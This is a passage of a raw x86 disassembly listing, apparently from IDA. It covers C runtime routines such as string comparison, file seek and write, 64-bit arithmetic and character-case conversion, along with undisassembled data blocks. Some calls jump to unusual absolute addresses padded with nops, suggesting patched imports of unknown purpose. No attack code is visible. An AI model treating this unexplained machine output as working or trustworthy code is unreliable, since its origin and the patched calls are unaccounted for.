-18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 279020Ch lea eax, [ebp+var_20] push eax call near ptr 2880000h nop mov ax, [ebp+var_16] cmp ax, word_4DB312 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB310 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB30E jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB30A jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB308 jnz short loc_41D0E6 mov eax, dword_4DB300 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call near ptr 2870000h nop cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB308 movsd movsd movsd movsd pop edi mov dword_4DB300, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB35C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB2A8, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2680DE1h cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 2680930h push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB2A8, 0Dh mov dword_4DB2AC, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB364 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C534, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB364, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB374 call esi test eax, eax jnz loc_41D92D nop call near ptr 2680930h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C328 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB374 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB364, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB374 nop call near ptr 2830000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- align 4 dd 396BD6A5h, 25243BE9h, 0BA9A350Ch, 0A164215Ch, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0A0E890E8h, 33024741h, 89D48AD2h dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 0E8000059h, 247412Ch, 0C94CA390h, 19E8004Dh dd 0A3000058h, 4DB318h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024726h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 0F8E89056h, 50022634h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB320, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2F0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB320 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC700 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 26619D4h test eax, eax jnz short loc_41DAEB call near ptr 2680930h nop mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword 